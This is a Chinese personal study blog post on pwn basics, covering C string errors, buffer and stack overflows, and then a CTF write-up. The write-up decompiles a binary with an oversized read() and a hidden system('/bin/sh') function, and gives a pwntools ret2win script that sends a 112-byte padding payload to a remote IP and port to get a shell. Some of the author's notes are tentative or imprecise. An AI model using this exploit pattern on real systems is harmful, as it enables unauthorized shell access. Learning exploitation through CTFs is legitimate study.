pwn学习

C与C++安全编码

有关字符串的一些概念

字符串
c语言中都是以数组存储字符串,以\0作为字符串结尾,低位地址是数组首元素地址,高位地址是数组末元素地址。
sizeof 用来计算数组大小。但是对于数组与指针应用时,sizeof对同一个数组的大小计算不同。果然我们学的是基础的c语言,如果当时学仔细一点,就应该发现这个问题的。

宽字节简单来说就是大一点的字符,需要更多空间。

字符串字面值就是这个字符串的值,宽字符串前缀是L

字符串类型:C语言中字符串常量类型为int
以下结果是4,1.告诉我们C语言中神奇的存储,我以前都没怎么注意说实话…

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#define x 'a'
int main()
{
char a[1];
printf("%ld\n",sizeof(x));
printf("%ld\n",sizeof(a));
return 0;
}

计算字符串大小
strlen函数是我们经常用来计算字符串元素个数的,但是如果应用于宽字节,就会导致错误。strlen函数一旦遇到空字节就判断字符串结束,但是宽字符包含空字节。所以会产生错误。

字符串的常见错误

最常见的字符串错误:无界字符串复制错误,差一错误,空结尾错误,字符串截断错误。

一、无界字符串复制
例如gets就是一个很麻烦的例子。
当定义数组小于输入字符串时,就会发生错误。
同样的,命令行参数输入,如果复制进定义的数组,但是定义数组空间不够的话,就会发生错误。

二、差一错误
与数组越界类似,预定数组长度不够的情况下会发生。

三、空字符结尾错误
指的是字符串数组没有以正确的空字符结尾。
比如,strncpy复制不超过n个字符,很可能为复制进空字符结尾,这样会导致数组很大很大,超过想象,那么对另一个数组进行操作时,就会发生错误。有时候编译器不会告诉你错误,但是漏洞就会存在。

四、字符串截断
数组长度不足以容纳一个字符串的内容时,会发生字符串截取,程序员为了防止缓冲区溢出,可能会用到字符串截取,有可能会导致丢失数据或者出现漏洞。

五、与函数无关的字符串错误
这个我感觉发生的概率比前几个高。
简略版代码:(略略略)buff[128] buff[i]=a[i] buff[i]=’\0’

字符串漏洞及其利用

一、缓冲区溢出
名字虽然很高深的样子,其实就是数组或者特定分配的内存空间外写进数据,就称为缓冲区溢出。未进行隐式的边界检查。

二、栈管理及栈溢出
基本概念:从C语言来说就是 先进后出 的某个对内存的操作后的内存(= =)
一般来说,弹 出栈 意味着栈指针需要 递增 。栈在压入变量之后一般还会在最后压入返回地址,这意味着一旦这一段结束即可返回。(可能是错的,只是暂时的总结)
栈溢出:由于栈在内存中按顺序存储,一个栈可能存储许多不同类型的数据,包括变量,指针,地址等等。如果用户恶意输入,很可能使得数据泄露或者越过某些数据检验。比如,简单的弧注入攻击。
代码注入:被恶意注入的代码也叫外壳代码,攻击者往往利用某个子例程的返回地址导致栈混乱,从而获取该程序相同的权限,如果是root权限,即是开一个远程shell,获取最高权限。
恶意参数的特征:(感觉很有趣)

1
2
3
有漏洞的程序必须接受它作为合法的输入
参数,以及其他可控制的输入,必须导致有漏洞的代码路径得到执行
参数不能在程序将控制权转移到shellcode之前导致程序异常中止

个人觉得第一点是程序写的不好,第二点是你输入的恶意参数必须能干点事,第三点就是你不能输入的参数直接把程序搞崩。

题目

给出了a.out
第一步,反汇编。核心代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
一、
int __cdecl main(int argc, const char **argv, const char **envp)
{
_x86_get_pc_thunk_ax();
vul();
return 0;
}
二、
void vul()
{
char a[100]; // [sp+Ch] [bp-6Ch]@1
puts("--------------------------------------------------------------------------");
printf(
"杩欎釜绋嬪簭閲岄潰鏈変釜鍙埍鐨勫皬濮愬锛屽ス鍦08p,浣嗘槸涓囨伓鐨勭帇灏忓悰涓嶄細璋冪敤濂癸紝鐣ョ暐鐣ワ紒\n",
xiaoxiannv);
fflush(0);
puts(" 缁欎綘涓満浼氾紝璁╀綘璇村彞璇濓紝瑕佹槸浣犺兘鎰熷姩灏忓悰锛岄偅涔堝氨璁╀綘鍜屽皬濮愬瀵硅瘽锛);
puts("--------------------------------------------------------------------------");
fflush(0);
read(0, a, 0x3E8u);
puts("emmmmm锛屼笉鏁㈠姩锛屼竴鐐归兘涓嶆暍鍔紒");
}
三、
void xiaoxiannv()
{
int v0; // eax@1
v0 = _x86_get_pc_thunk_ax();
system(&aBinSh[v0 - 134513874]);
}

main函数中跳转到vul函数,重点关注read(0, a, 0x3E8u)这句话,这个是把a的大小放入内存,这样就容易造成栈溢出。

1
2
3
4
5
6
7
8
#!/usr/bin/env python
from pwn import *
payload = 'a'*112+p32(0x80484c6)
p = remote('121.42.189.18',5009)
p.sendline(payload)
p.interactive()
print p.recvall()

由char a[100]; // [sp+Ch] [bp-6Ch]@1可知,a的实际内存大小为108再加上ebp的大小一共为112。再跳到xiaoxiannv那个函数。
再就是关于linux命令的知识了。